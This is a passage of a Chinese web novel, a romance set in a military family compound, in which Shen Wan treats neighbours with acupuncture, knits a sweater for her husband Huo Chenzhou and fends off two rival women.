霍沉舟眸色一深，扣住她的腰正要低头，沈晚却像知道他意图般，灵巧地从他怀抱里溜了出去。 "我还有点事，"她倒退着往屋里走，眼里闪着狡黠的光，"得帮秀芝嫂子写养颜茶的药方，她一会来拿。" 霍沉舟站在原地，看着她像只机灵的小鹿般逃开，喉结滚动了一下，没忍住解开了领口最上面的扣子。 沈晚坐在桌前，拿出纸笔，垂眸一字一画写下药材的名字。 霍沉舟站在厨房，往搪瓷杯里舀了两勺麦乳精，滚烫的开水冲下去，甜香顿时弥漫开来。 他端着杯子走进屋，轻轻放到她手边："趁热喝。" 沈晚笔尖一顿，抬头冲他弯了弯眼睛："谢谢。" 霍沉舟没走，反而单手撑在桌边，俯身看她写字："当归、白芍......" 他低沉的嗓音念着药材名，温热的呼吸若有似无地拂过她耳畔。 沈晚指尖摩挲着杯沿，不禁又想到早上发生的荒唐事，耳尖悄悄泛起红晕。 就在她心跳加速时，孙秀芝救场来了："小沈在吗？" 沈晚连忙应道："来啦！"她推了推霍沉舟结实的胸膛，嗔怪地瞪他一眼："让开。" 霍沉舟看着她泛红的耳垂，眼底划过一丝笑意，却也没为难她，顺从地直起身让开了路。 沈晚快步走去开门，孙秀芝站在门外，胳膊上挎着个盖着蓝印花布的竹篮子：“我正好包了些饺子，给你也送点。” 她探头往屋里看了一眼，瞧见霍沉舟后抿嘴一笑："霍团长也在啊。" 沈晚拉着她进屋："嫂子，你先进屋坐，我去拿药方。" 孙秀芝把篮子放在桌上，沈晚则回屋拿了药方出来递给她。 孙秀芝接过来粗略扫了一眼，大多数的药材名她都不认识，但她心里就是莫名相信沈晚，小心叠好后放进兜里：“真是太谢谢你了。” 沈晚摆摆手："不用这么客气。" 霍沉舟已经主动倒了杯热水，递到孙秀芝面前："嫂子，暖暖手。" 孙秀芝受宠若惊地接过杯子：“霍团长现在可真会照顾人啊。” 看来都是媳妇调教的好。 她捧着热水抿了一口，欲言又止地看了看沈晚，又瞥了眼霍沉舟。 沈晚会意，主动问道："嫂子，还有什么事吗？" 霍沉舟立刻识趣地站起身："我先去做饭。" 等他的脚步声远了，孙秀芝才压低声音道："小沈啊，嫂子最近总感觉浑身不得劲，这心里头一阵阵发慌，夜里睡不着，白天又燥热得厉害，动不动就出一身汗，难受的是这脾气，动不动就想发火，昨天还因为一点小事把老孟骂得狗血淋头……" 沈晚越听越明白，这不就是典型的更年期症状吗？ 但她为了让孙秀芝放心，还是主动帮她把了脉，三指轻轻搭在孙秀芝的手腕上，沈晚垂眸感受了片刻，温声道："嫂子，你这是肝肾阴虚，气血失调。不是什么大问题，平时多喝些豆浆，吃些黑芝麻，晚上睡前泡泡脚。" 孙秀芝惊奇道："就这么简单？" 沈晚笑着点头："就这么简单，放宽心哈。" 孙秀芝还有点不放心："小沈，我听说你会那个什么，针灸？" 沈晚挑眉："嫂子，你想试试针灸？可能会有点疼哦。" "没事！"孙秀芝一拍大腿，"我当年生我家那皮小子的时候，疼了三天三夜都没喊一声，还怕这几根小针？" 沈晚被她逗笑了："那成，我先给你扎几针试试。" 她转身去里屋取针包，边走边嘱咐，"不过针灸期间可得忌口，辛辣刺激的都不能吃。" “没问题。” 沈晚取来针包，示意孙秀芝在炕上躺平。 她先用酒精棉球在穴位处仔细消毒，指尖轻轻按压寻找准确的穴位位置。 "嫂子，我开始了。"沈晚说着，手腕一抖，一根细如发丝的银针已经稳稳刺入孙秀芝手背虎口处。 孙秀芝本来还有点紧张，现在完全放松了："咦？怎么跟蚊子叮似的，一点都不疼！" 沈晚抿嘴一笑，继续运针。 当身上扎了十几根针后，孙秀芝感叹："我咋觉得浑身热乎乎的，特别舒服。" 沈晚简单解释："气血开始流通了，记住扎完后两小时别碰冷水，晚上睡前用热水泡脚效果更好。" 孙秀芝连连点头。 扎完针后，她整个人容光焕发，好说歹说硬是塞给沈晚五块钱。 第六十四章 爬炕 本来沈晚不想要的，结果霍沉舟替她收下了，送走千恩万谢的孙秀芝后，沈晚嗔怪地瞪了霍沉舟一眼："你收嫂子的钱干什么？" 霍沉舟将她拉入怀中，一本正经道："这是你的劳动所得。你的医术值这个价，甚至更多。不能因为熟人就白干活。" 沈晚心头一暖，嘴上却还嘀咕："可都是邻里邻居的……" "正因为是邻居，才更要明算账。"霍沉舟低头亲了亲她的发顶，"不然以后谁有个头疼脑热都来找你，你累坏了怎么办？" 沈晚觉得很有道理，收下那钱时也心安理得许多。 晚上霍沉舟主动提议他做饭，沈晚前几天去供销社买了些新鲜的土豆和青椒，霍沉舟便打算做个青椒炒肉和醋溜土豆丝。 沈晚乐得清闲，陪着霍小川在堂屋玩他新得的魔方。 据说是托儿所为了培养孩子们的逻辑思维能力，特地给每个小朋友发了一个魔方。 大多数小朋友都转得晕头转向，只有霍小川一个人玩得津津有味。 "妈妈，你会玩魔方吗？"霍小川把魔方递到沈晚面前。 沈晚点点头："会啊。" 她边说边接过魔方，纤细的手指灵活地转动起来。 只见那些杂乱的颜色在她手中渐渐归位，不到两分钟，一个六面完整的魔方就呈现在霍小川面前。 小家伙惊讶得小嘴都张成了O型："妈妈好厉害！比我们老师转得还快！" 他扑进沈晚怀里，兴奋地嚷嚷着，"教我教我！" 沈晚回忆了一下在现代时学习魔方时背的口诀："玩魔方也有口诀的。" 霍小川歪着头："口诀？" "对，"沈晚笑着揉了揉他的小脑袋，"先记住这个——''白花朝上转，黄蕊往下藏，小花转一转，回家找妈妈''。" 霍小川立刻像模像样地跟着念，小脸认真得不得了："白花朝上转，黄蕊往下藏……" 他一边默背一边摆弄魔方，按照口诀转动方块。 "妈妈你看！"没过多久，小家伙就惊喜地举起魔方，"我把这一面都转成白色啦！" 他的小手灵活地转动着，虽然还有些生疏，但明显比之前乱转快多了。 沈晚欣慰地看着他："小川真聪明！等把这个口诀练熟了，妈妈再教你更厉害的上左下右高级口诀。" 霍小川兴奋地在炕上打了个滚，又爬起来继续练习，嘴里还不停地念叨着口诀。 沈晚顺手收拾了一下炕柜，指尖突然摸到一团柔软，她这才想到上次赶集买的毛线还没用完。 想到之前答应霍小川要给他织条围巾，她便又拿了出来放在针线筐里，想着没事的时候织一下。 霍沉舟做好饭后，进屋来叫母子俩，目光在针线筐里显眼的蓝色毛线上微微一顿，他想起顾战之前信誓旦旦地说"嫂子肯定是在给你织毛衣"，薄唇不自觉地抿了抿。 吃饭的时候，霍沉舟有意无意地问道："你要织毛衣？" 沈晚埋头吃饭："不是，我之前答应过小川，要给他织条围巾。" 霍沉舟握着筷子的手微微一顿，眼神暗了暗，默默扒了口饭，而一旁的霍小川已经高兴坏了。 吃完饭，霍小川蹦蹦跳跳地要去玩魔方，霍沉舟突然叫住他："等等。" 小家伙疑惑地回头："爸爸？" 霍沉舟面无表情，看不出什么情绪："今天你洗碗，男子汉要学会分担家务。" 霍小川眨了眨大眼睛，虽然不明白为什么突然要洗碗，但还是乖乖点头："哦……" 沈晚有些诧异地看了霍沉舟一眼，但转念一想，让孩子学着做家务也不是坏事，便没出声阻拦。 半夜，沈晚突然听到房门被轻轻推开的声音。 她警觉性向来不低，立即睁开了眼睛，正要起身，下一秒嘴巴就被一只带着凉意的大手捂住。 "是我。"霍沉舟低沉的声音在她耳边响起。 沈晚眨了眨眼，顾及身旁熟睡的霍小川，低声道：“你干什么？” 霍沉舟没有回答，而是直接掀开被子钻了进来，他带着一身寒气，冰凉的鼻尖蹭过沈晚温热的颈窝，激得她轻轻一颤。 "冷……"沈晚小声抗议，却被他整个搂进怀里，男人结实的身躯像堵火墙，很快驱散了寒意，只留下灼人的温度。 "想你了。"霍沉舟的唇贴在她耳后，呼吸灼热，他粗糙的掌心顺着她睡衣下摆探入，在纤细的腰线上流连。 沈晚又好气又好笑，“你不睡觉我还要睡呢。” 霍沉舟低笑一声，手上的动作却越发大胆：“你睡你的。”他炙热的的唇沿着她的颈线游走，"我做我的。" 沈晚被他弄得浑身发软，却还惦记着身旁熟睡的孩子:“霍沉舟...小川还在...” 男人的动作停顿了一瞬，沈晚刚松了口气以为他终于要老实了，下一秒却突然天旋地转。 霍沉舟直接将她打横抱了起来。 沈晚吓得赶紧捂住自己的嘴，把惊呼声硬生生咽了回去，她瞪大眼睛，看着霍沉舟抱着她轻手轻脚地往门外走。 霍沉舟抱着她来到隔壁，用脚带上门，将沈晚轻轻放在炕上。 沈晚撑着手肘往后缩了缩："你明天不是还要……"话未说完就被他压下来的吻堵住了唇。 霍沉舟的吻带着不容抗拒的强势，灼热的手掌轻易挑起了沈晚身体的颤栗。 她指尖无意识地揪紧了身下的床单，呼吸渐渐急促起来。 就在她意乱情迷之际，霍沉舟突然停下动作，将脸埋在她颈窝处蹭了蹭，闷声问道："为什么不给我织毛衣？" 沈晚被这突如其来的问题问得一愣："什么？" "你给儿子织了手套还要织围巾。"霍沉舟抬起头，黑眸里竟带着几分委屈，"我的呢？" 沈晚哭笑不得，伸手戳了戳他结实的胸膛："霍团长，你这是在吃自己儿子的醋？" 霍沉舟捉住她作乱的手指，放在唇边轻咬了一口："我也要。" 沈晚看着他这副难得的孩子气模样，心尖软得一塌糊涂。 她主动环住他的脖颈，在他耳边轻声道："明天就给你织。" 霍沉舟这才满意…… 第六十五章 你一定要和霍团长好好的 第二天，霍沉舟一早就被顾战接走了，他们今天要去参加军区季度作战会议。 沈晚拿出毛线，坐在窗边阳光最好的位置开始织毛衣。 她手法娴熟，不一会儿就织出了一截漂亮的螺纹边。正想着要给霍沉舟织个什么花样时，院门突然被敲响。 "报告嫂子！"一个年轻的小战士站在门口，看到沈晚明媚的容貌时，耳根瞬间红了，连忙低下头，"门口有个小子要找你。" 沈晚有些疑惑："找我？谁啊？" 小战士摇摇头："我也不认识，但顾营长认识他。顾营长说找您来就行。" 既然顾战都认识，沈晚便决定过去看看到底是谁来找她，她先对小战士笑了笑："同志，我先换件衣服。你等等我。" 小战士连忙点头，耳根更红了："没事没事，我等您。" 沈晚回屋换了件鹅黄色的棉袄，衬得肤色越发白皙，又戴了个毛茸茸的兔毛耳套，整个人看起来既暖和又俏丽。 她拿上钥匙锁好门，跟着小战士坐上了停在院外的吉普车。 路上，沈晚感觉掌心有些发冷，便往手心里轻轻呵了口热气。 开车的小战士余光瞥见这一幕，轻咳一声，单手从军大衣内袋里掏出一个橡胶热水袋。 那热水袋外面还细心地套着个毛线织的套子，显然是经常使用的。 "嫂子，你用这个。"小战士有些不好意思地递过来，眼睛仍盯着前方的雪路，"刚灌的热水，还暖和着呢。" 沈晚愣了一下，随即莞尔一笑："谢谢同志，不过你自己留着用吧，这天儿开车更冷。" "不用！"小战士急得话都说不利索了，"我们当兵的皮糙肉厚，不怕冷。" 见他坚持，沈晚也不再推辞，接过热水袋，温热的触感顿时从掌心传来。 等车开到哨岗时，沈晚下车前把已经不怎么热的热水袋还给小战士："谢谢你啊，可惜这个热水袋不热了。" 小战士红着脸接过："没事，一会我再灌点热水。" 沈晚点点头：“好，那我先下车了。” 下一秒，她又被小战士叫住：“嫂子。” 沈晚有点疑惑的回头：“怎么了？” 小战士眼神真挚："你一定要和霍团长好好的。霍团长他人真的很好。" 沈晚先是一愣，随即忍俊不禁，合着这还是霍沉舟的小迷弟呢。 在小战士期盼的眼神中，她缓缓点头："好，我答应你。" 小战士顿时笑得见牙不见眼。 沈晚下车后来到哨岗，门口守着的战士朝她敬了个礼："嫂子好。" 沈晚点点头："找我的人在哪？" "就在里面，"战士指了指值班室，"刚才顾营长把他送过来的。" 沈晚心里好奇，刚推开门，就见一个瘦高的少年正坐在火炉边烤火。 听到动静，他慌忙站起来，冻得通红的脸上一喜："漂亮姐姐！" 沈晚微微一挑眉，认出了这个曾在山上遇见的少年："铁蛋？" 铁蛋用袖子擦了擦冻出来的鼻涕，兴奋地把身旁的背篓抱过来："漂亮姐姐，我这次是特地来感谢你的！" 沈晚有些不解："为什么要感谢我？" "你上次教我可以采草药卖给收购站，"铁蛋眼睛亮晶晶的，"我采了好多，赚的钱都给我妈治病了，现在她病好了！" 沈晚心里一暖，伸手揉了揉他的脑袋："病好了就行啊，不用特地来谢我，我只是给了你一个建议而已。你能靠自己的双手赚钱给妈妈治病，是你自己的本事。" 铁蛋却固执地摇摇头：“不行，我必须要谢谢你，要不是你，我根本不知道还能这样赚钱。” 他掀开背篓上的粗布，"我上次看你也采草药，就想着你可能需要这些，便采来送给你。" 沈晚低头一看，背篓里有根须完整的七叶一枝花，颗粒饱满的五味子，野生灵芝和野生天麻。 沈晚故意问他："你真的要送给我吗？这些草药可都是很值钱的。" 铁蛋憨厚地笑了笑，把背篓往她跟前推了推："反正我妈病好了，暂时不需要那么多钱了。漂亮姐姐，这些草药你都拿去。" 沈晚见状也不再推辞："行，那我收下了。以后有什么需要帮忙的，随时可以来找我。" 送完草药，铁蛋也不逗留了："漂亮姐姐，我得先回家了，不然出来久了我妈会担心的。" 沈晚点点头："好，路上小心。" 她站在部队大门口，看着铁蛋瘦小的身影渐渐消失在雪地里，还时不时回头冲她挥手。 回到家，沈晚把药材倒在堂屋的地上仔细分拣。 根系完整的七叶一枝花被她小心地移栽到院子的药圃里，其他的则摊开在竹筛上晾晒。 中间忙活的时候，孙秀芝来了一趟，她和李丽夸着沈晚："小沈医术真挺厉害的，昨天她帮我扎了两针，晚上就睡的可香了，也不想发脾气了。" 李丽撇撇嘴，半信半疑："真的假的？有那么神？" "我觉得神！" 孙秀芝语气里都是对沈晚的喜爱："我还让她帮我开了养颜茶的药方，小沈说了，坚持就能看见效果。" "养颜？"李丽忍不住摸了摸自己蜡黄的脸，哪个女人不想漂亮一点？ 她眼里闪过一丝算计："能不能给我一份？" 孙秀芝干笑两声："我这可是花了钱让小沈帮我开的。再说了，每个人体质不一样，不如你主动去和她示好，让她也帮你把把脉。" 李丽一听要花钱，立刻拉下脸来："我才不去找她！宁愿把这个钱扔河里听响，我也不给她！" 孙秀芝摇摇头，懒得再劝。 整理完药材，沈晚拿着毛线去隔壁找赵晓燕，想让她教自己一个新样式。 赵晓燕正好也盘腿坐在炕上织毛衣，沈晚一进屋就被炕桌上堆成小山的补品、零嘴和点心惊到了："都是张大哥给你买的？" 赵晓燕脸上飞起两朵红云："可不是嘛！自打知道有了，他恨不得把供销社都搬回来。昨儿半夜我突然想吃山楂糕，他愣是骑车去镇上敲开供销社的门买的。" 沈晚忍俊不禁，拿起一团毛线挨着她坐下："张大哥这是要把你当菩萨供起来啊。" 第六十六章 霍团长能不能扶我一下？ 赵晓燕笑骂道："我觉得他浪费钱，这娃娃还没成型呢，有什么好补的！" 沈晚科普道："孕早期更要注重营养，气血足了胎儿才能长得好。红枣补血，核桃健脑，这些可比吃药强多了。" 赵晓燕听得连连点头："这样啊。" 沈晚把自己织了一小半的毛衣递过去："赵姐，你看这个麻花扭针的花样，我总是扭不好......" 赵晓燕接过来一瞧，突然促狭地笑了："哟，这是给霍团长织的吧？" 她抖了抖毛衣片，"当初买这毛线我就想让你织给霍团长，好家伙你愣是给小川织了副手套也没给他织。现在怎么突然开窍了？" 沈晚耳根一热，总不能说昨晚霍沉舟为这事爬她炕头，把她折腾得够呛吧？ 她低头摆弄毛线针，含糊道："就是突然想到了。你就教教我吧。" 赵晓燕爽朗一笑："行！" 她麻利地拿起针线示范起来，"你看啊，先这样起针，然后交叉两针，对对，就是这样..." 她手把手教着，时不时纠正沈晚的手法。 两人聊着家常，不知不觉一上午就过去了，沈晚看着手里逐渐成型的毛衣，心中涌起一种难言的满足感。 “老张怕我在家无聊，想给我买台电视，你要不要也买一台？” 沈晚抬眸：“买电视？那要票吧？” 赵晓燕眨眨眼："你担心什么？老张说后勤部新到了一批牡丹牌电视机，只要拿着工业券去登记就行。霍团长级别够，肯定能分到票。" 沈晚倒是不觉得无聊，每天能捣鼓她的药材她就已经很开心了，但是想到霍小川估计爱看电视，她便没什么意见：“行啊，等我跟霍沉舟说一声。” 赵晓燕突然拍了下她的胳膊："妹子，你这样叫霍团长可不行。" 沈晚一愣："什么意思？" "哎哟，"赵晓燕凑近些，"哪有媳妇儿天天连名带姓喊自家男人的？多生分啊！" "那叫什么？"沈晚下意识问道。 赵晓燕神秘兮兮地挤挤眼睛："你这跟百灵鸟似的嗓子，叫一声沉舟，不就把霍团长迷死了？" “再大胆一点你就叫一声……”最后几个字，她是趴在沈晚耳边说的。 沈晚唰的红了脸。 赵晓燕笑得前仰后合："哎呦喂，都结婚这么多年了还害臊呢？" 下午沈晚在家整理了一下垃圾，拎出门打算扔掉，大院门口就有一个小垃圾站，平常有什么生活垃圾可以扔在那里。 她刚倒完垃圾，转头便看见霍沉舟的车来了，她嘴角的笑容还没扬起呢，突然看到一个熟悉的身影从后座下来了。 沈晚绷起小脸。 看着苏琴杉下车后，霍沉舟又从车上下来，苏琴杉一瘸一拐的，扶着车身没站稳，霍沉舟还扶了她一下。 虽然很快就保持了距离，但这一幕在沈晚眼里还是格外刺眼。 苏琴杉抬头笑吟吟地对霍沉舟道谢："谢谢你啊霍团长~" 霍沉舟面无表情地点点头："没事。" 苏琴杉咬了咬唇，又装作虚弱地晃了晃身子："我这脚腕还是很疼，能不能麻烦你扶我回家啊？" 霍沉舟眉头一皱，余光正好瞥到站在不远处的沈晚，他眉眼顿时柔和下来，朝她伸出手："阿晚，过来。" 沈晚慢悠悠地走过去。 苏琴杉看见她，脸上的表情微微一僵："沈同志。" 沈晚故作关切地打量她："苏同志这是怎么了？怎么还瘸了？" 苏琴杉勉强扯出一抹笑："我今天下午不小心扭到脚了，从医院出来正好碰上霍团长的车，霍团长看我腿疼得走不了路，非让我上他的车。沈同志，你可千万别介意啊。" 沈晚在心底翻了个白眼，这话说得，一边假惺惺让她别介意，一边还要强调是霍沉舟主动邀请的。 她微笑着挽住霍沉舟的胳膊："怎么会介意呢？沉舟这是在发扬革命同志间的互助精神嘛。" 苏琴杉不甘心地看向霍沉舟，声音又软了几分："霍团长，能不能扶我一下？我实在疼得走不动了......" 霍沉舟还没开口，沈晚就笑眯眯地挡在他前面："不行呢。" "沉舟腿还没好利索呢，而且你们俩都是有家室的人，这大院里多少双眼睛看着呢，要是传出去什么风言风语，对苏同志你的名声多不好呀。" 苏琴杉听着沈晚明里暗里的挤兑，默默咬紧下唇，见霍沉舟始终面无表情地站在沈晚身后，丝毫没有要帮忙的意思，她只好自己踮着脚一瘸一拐往家挪。 眼看着苏琴杉走远了，霍沉舟刚想伸手揽住沈晚的腰，却被对方一把拍掉。 霍沉舟疑惑地低头看她："怎么了？" 沈晚瞪着他："怎么是你送苏琴杉回来？顾营长呢？" "顾战去师部送文件了，我在路上看她走路费劲差点摔倒，便捎了她一程。" 沈晚冷哼一声："霍团长倒是热心肠。" 霍沉舟看着女人气呼呼的小脸，缓缓勾起唇角，一只手揽住她的腰："我还是喜欢听你叫我名字。" 沈晚装作听不懂，眨眨眼："名字？那我叫你霍沉舟？" 霍沉舟无奈地捏了捏她的小脸："鬼精鬼精的。" 沈晚翻了个白眼，哼了一声，甩开他的手大步往前走，故意欺负霍沉舟腿伤没好利索追不上她。 "慢点！"霍沉舟在后面喊道。 他腿伤未愈，走快了还有些隐隐作痛，只能看着自家媳妇儿像只骄傲的小孔雀似的，头也不回地往前走。 沈晚先一步到家，等了几分钟，霍沉舟才慢慢进了家门。 他一进门就看见桌子上织了一半的毛衣，嘴角顿时勾起笑容："这是给我织的？" 沈晚正坐在炕沿边生闷气，闻言头也不抬："想得美，这是给小川的。" 霍沉舟不介意沈晚的态度：“嘴硬，你这要是给小川织的估计他得过个十几年才能穿了。” 沈晚愣了一下才反应过来霍沉舟是在调侃她这毛衣的尺寸一看就是给成年男性织的。 她撇了撇嘴：“还不是你求我织的。” 第六十七章 我爱人不会捆住我的手脚 霍沉舟丝毫没觉得不好意思："嗯，是我求你织的，所以说你对我好啊，我求求你你就给我织了。" 沈晚不可置信地看着他，要不是还是这张冷峻的脸，她真以为这个男人被夺舍了，不然脸皮怎么能突然厚成这样。 霍沉舟见她还是闷闷不乐的样子，坐到她身边轻声哄道："为什么不高兴？吃醋了？" 沈晚摇摇头："不是。" 她犹豫片刻，还是坦白道，"我就是不喜欢你和苏琴杉走那么近，或者说，我就是讨厌苏琴杉这个人。" 这是沈晚第一次如此明确地表达对苏琴杉的厌恶，霍沉舟有些惊讶。 霍沉舟眉头微蹙："为什么你这么讨厌苏琴杉？她欺负过你？" 沈晚摇摇头："不是，但她不是个好人。我没有立场对顾营长说这些，但我觉得有必要告诉你。" 霍沉舟若有所思地点头，大手覆上她的小手："既然你讨厌她，我以后离她远点就是了。" 沈晚轻哼一声，笑眯眯道："那谁能说得准？万一哪天人家又在路上扭到脚了，非要搭你的车怎么办？" 霍沉舟知道沈晚是在故意调侃他，也不恼："那我就不载了，谁的媳妇谁管。" 沈晚被逗笑了，拿起织了一半的毛衣在霍沉舟身上比划："看看大小合不合适？" 这一比才发现问题，霍沉舟的肩膀实在太宽了。 他属于典型的倒三角身材，肩宽背阔，肌肉线条分明，普通的毛衣尺寸根本罩不住。 沈晚捏着毛衣在他肩头比了比，毛衣边缘离他肩膀还差了两指宽。 "啧，"她皱了皱鼻子，"你这肩膀怎么长的？跟堵墙似的。" 霍沉舟低笑："怎么？不满意？" 沈晚翻了个白眼："不满意！害我又得拆了重织。" 霍沉舟一只手漫不经心地搭在腰间的皮带上："真的不满意？" 他低沉的嗓音里带着危险的意味，仿佛沈晚只要敢再说一句不满意，他就直接把人按在炕上理论一番。 沈晚想到昨晚这男人干了什么事，生怕他又做什么出格的事，勉强点点头：“满意。” …… 第二天，霍沉舟一大早就去参加东北军区年度作战演习部署会议，几个军区的指挥官都到齐了，会议室里将星云集。 霍沉舟刚在座位上坐下，一个留着利落短发的女军官就靠了过来，她约莫二十五六岁，小麦色皮肤，一双丹凤眼炯炯有神，肩章显示是个少校。 "你就是第七师的霍团长吧？"女军官伸出手，声音干脆有力，"我是第三师作训科科长梁英，久仰大名。" 霍沉舟礼貌性地握了握她的手："梁科长。" 梁英爽朗一笑："听说你前段时间立了一等功，真厉害！我一直把你当做我的奋斗目标。" 霍沉舟神色依旧淡然："梁科长过奖了，都是集体功劳。" 此时会议还没开始，会议室里人声嘈杂。 梁英一只手撑着脑袋，饶有兴致地看着他："霍团长，听说你结婚了？" 霍沉舟头也没抬，只是淡淡"嗯"了一声。 梁英露出一丝可惜的表情："可惜了，你年纪轻轻就被婚姻捆住了，像你这样的军事人才，应该把精力都放在事业上才对。" 霍沉舟终于抬起眼，眼中带有几分冷意：“梁科长，我爱人从不会捆住我的手脚，要不是她，我早就变成一个废物。” 梁英耸耸肩，一副无所谓的态度，显然没把霍沉舟的话放在心上："我认识许多像你这样的军官，年纪轻轻就娶了个农村媳妇，结果被家里那些鸡毛蒜皮的小事拖累得止步不前，要我说，男人就应该找个旗鼓相当的对象才行。" 话不投机半句多，霍沉舟一向惜言，和梁英说不明白，他干脆闭嘴了。 梁英还想说什么，但此时会议正式开始，首长已经走上讲台。 好不容易等到会议结束，霍沉舟立即起身，头也不回地离开会议室。 梁英连忙追了出去："霍团长！" 霍沉舟脚步一顿，转身时眉宇间已带上几分不耐："梁科长还有事？" 梁英拢了拢短发，露出一个自信的笑容："我今天是第一次来第七师，人生地不熟的，不知道霍团长能不能尽个地主之谊，带我参观一下你们的训练场？" 霍沉舟低头看了眼手表，语气疏离："抱歉，我还有事，你找别人吧。" 梁英脸上的笑容一僵。她自诩长得耐看，军衔不低，在军区向来是众星捧月的存在，那些男军官见了她哪个不是抢着献殷勤？ 结果今天在霍沉舟这里一而再再而三碰壁，她终于冷下脸："霍团长，刚才周首长可是特意说了，让你好好招待我们这些外军区来的同志。" 她声音洪亮，引得路过的几个参谋都往这边看。 霍沉舟身侧的手慢慢攥紧，想到刚才周首长确实特意嘱咐过要搞好军区之间的团结，又缓缓松开手。 他面无表情地径直往前走："梁科长不是要参观吗，还不跟上。" 梁英嘴角扬起一抹得意的笑容，快步跟了上去："我早就听说第七师的霍团长带兵严、作风硬，今日一见，果然名不虚传。" 霍沉舟目视前方，脚步不停，对她的恭维充耳不闻。 梁英也不介意，继续自顾自地说话：“我听说你前段时间受了很严重的伤，你竟然在这么短时间内恢复的这么好？” 听到这里，霍沉舟终于开口了：“我爱人懂医。” 梁英愣了一下，随即露出一个了然的表情："哦~听说医院有很多那种军属临时工，你妻子也是吧？" 她语气里带着几分不以为然，"就是帮忙打打针、换换药的那种？" 霍沉舟侧头看了她一眼，没说话，眸中的不耐已经快到顶峰。 走出办公楼，霍沉舟径直上了顾战开的吉普车。 梁英快步跟上，手刚搭上车门把手—— "砰！" 霍沉舟从里面把车门关上了。 他降下车窗，面无表情道："部队给你们外军区来的同志安排了专车，就在办公楼右侧。顾战，开车。" 梁英的手尴尬地僵在半空，只能眼睁睁看着吉普车扬长而去。 她站在原地，气得脸色发青，还从没哪个男人敢这么下她面子！ 第六十八章 梁英和沈晚碰面 顾战通过后视镜看见梁英气得半死的模样，忍不住噗嗤一声笑了出来："团长，你这会不会不太好啊？人家好歹是个女同志。" 霍沉舟冷着脸点燃一根烟，修长的手指夹着烟卷，深深吸了一口，青白的烟雾从他薄唇间缓缓吐出，衬得他棱角分明的侧脸愈发冷峻。 "专心开车。"他弹了弹烟灰。 顾战缩了缩脖子，心里暗想：果然团长只有对嫂子才会那么温柔。 等到梁英终于坐着部队安排的专车到了训练场，找了一圈都没见霍沉舟的人影。 她好不容易在靶场边逮到顾战，一把抓住他的胳膊："你们霍团长呢？" 顾战被拽得一个踉跄，想起霍沉舟的吩咐，硬着头皮道："团长临时有个紧急会议，去师部了。" 梁英气得脸都绿了："他耍我？" 顾战一脸无辜地摊手："怎么会呢梁科长，你想多了吧？我们团长只是单纯忙啊。对于没法亲自陪同参观，他也感觉很遗憾，特意嘱咐我一定要好好招待您。" 梁英瞪了顾战一眼，咬牙切齿道："好，很好。" 这边的霍沉舟已经回到办公室，正专注地批阅着手中的演习方案。 …… 家属院内，沈晚正在给孟宪把脉。 孟宪嘴里还嘟囔着："我真没什么事。" 孙秀芝"啧"了一声，用力拍了下丈夫的后背："你都连着半个月起夜三四次了，白天训练还总喊腰酸，就让小沈看看，又少不了你一块肉。" 沈晚把完脉后，温声道："孟大哥，你有点肾阳虚和脾虚湿困。" 孟宪一听"肾虚"这个词，吓得直接从椅子上弹起来，黝黑的脸涨得通红："沈同志，我和秀芝都有两个孩子了，怎么会得...得那种病！" 孙秀芝也有点不好意思："小沈，你是不是搞错了，你孟大哥那方面确实没问题……" 沈晚忍俊不禁："嫂子，大哥，我说的肾阳虚不是那个意思。" 她耐心解释道，"这是中医术语，指的是身体阳气不足，容易疲劳、怕冷、腰膝酸软，跟那方面没关系。" 孙秀芝听了总算反应过来，红着脸掐了丈夫一下："听到没？你胡咧咧什么！" 孟宪一把年纪在小辈面前闹了笑话，黝黑的脸涨得更红了，嗫嚅道："我、我这不是头一次知道还有这个说法。" 沈晚笑着打圆场："没事的孟大哥，很多人都有这个误解。不是什么大事，很快就能调理好。" 孙秀芝自从上次扎完针后症状明显好转，现在极力推荐丈夫也试试："小沈，你就帮你孟大哥扎一次针吧，这扎针应该能好得更快。" 怕沈晚不答应，她又赶紧补充道："我们给钱。" 沈晚想了想，自己也没什么事情，便答应了："行吧，孟大哥，你得把衣服撩起来露出后背。" 孟宪一听要脱衣服，顿时手足无措："这、这不合适吧，我一个大老爷们……" "磨蹭什么！"孙秀芝直接上手，"唰"地一下把他军装后背掀了起来，露出黝黑结实的背部肌肉，"都是自家人，害什么羞！" 孙秀芝和沈晚都大大方方的，反倒是孟宪，手足无措地趴在椅子上，一张老脸埋进臂弯里。 沈晚取出银针："孟大哥，放松点，肌肉绷太紧不好下针。" 她边说边找准肾俞穴，轻轻捻转着将细如发丝的银针缓缓刺入。 "哎哟！"孟宪浑身一颤，"咋跟蚂蚁夹似的。" 孙秀芝在一旁看得津津有味："小沈这手法真利索。" 她顺手给丈夫擦了擦后颈的汗，"你忍着点，人家小沈都没使劲，你嚎什么嚎。" 沈晚笑着又取出一根针，在命门穴上轻轻一点："这儿是补肾阳的要穴。" 针尖刚入皮肤，孟宪就忍不住又"嘶"了一声。 好不容易挨到扎完针，孟宪总算松了口气，额头上的汗珠都沁出来了。 孙秀芝连忙从兜里掏出十块钱递给沈晚："小沈，十块钱够不？要不然我给你五块钱吧。"她说着又要掏钱。 沈晚连忙拦住她："够的够的。"这十块钱相当于现代的五六百块钱，和她以前的出诊费差不多。 孟宪活动了下筋骨，突然惊讶道："哎？我这腰好像没那么酸了！还真神了！" 孙秀芝得意地拍了下丈夫的后背："我就说小沈医术好吧！" 她转头又对沈晚道，"下回老孟要是再喊腰疼，我还押着他来找你。" “行。” 等孙秀芝夫妻俩走后，沈晚看着空荡荡的屋子，突然有点想念霍沉舟了。 明明才分开几个小时，但她就是莫名想念男人坚实的怀抱、想念他温热的大掌、想念他伏在耳边的低喘。 想到昨天他说这两天都是顾战打饭，在办公室随便凑合一下，沈晚便决定做顿午饭给他送去。 家里还剩下牛腩和排骨，沈晚便做了红烧牛腩和糖醋小排。 她做好后拎着饭盒往军区办公楼走去。 沈晚刚走上办公楼二楼，就看见霍沉舟站在办公室门口，面前堵着个穿军装的短发女人，她一只胳膊支在霍沉舟面前，声音带着怒意："霍沉舟！你耍我有意思吗？" 沈晚挑挑眉，靠在走廊拐角处，饶有兴致地看着这一幕。 霍沉舟冷着脸，声音不带一丝温度："梁科长，我没义务陪你浪费时间。" 梁英气得胸口剧烈起伏，手臂"砰"地一声砸在墙上："还从来没有人敢这么对我！我不管，你必须陪我吃午饭补偿我！" 霍沉舟刚想开口，余光瞥到不远处的人影，神色顿时柔和下来：“阿晚，你怎么来了？” 沈晚似笑非笑地晃了晃手里的饭盒："我来给你送午饭呀，但是我好像来的不巧，你好像有人约了？" 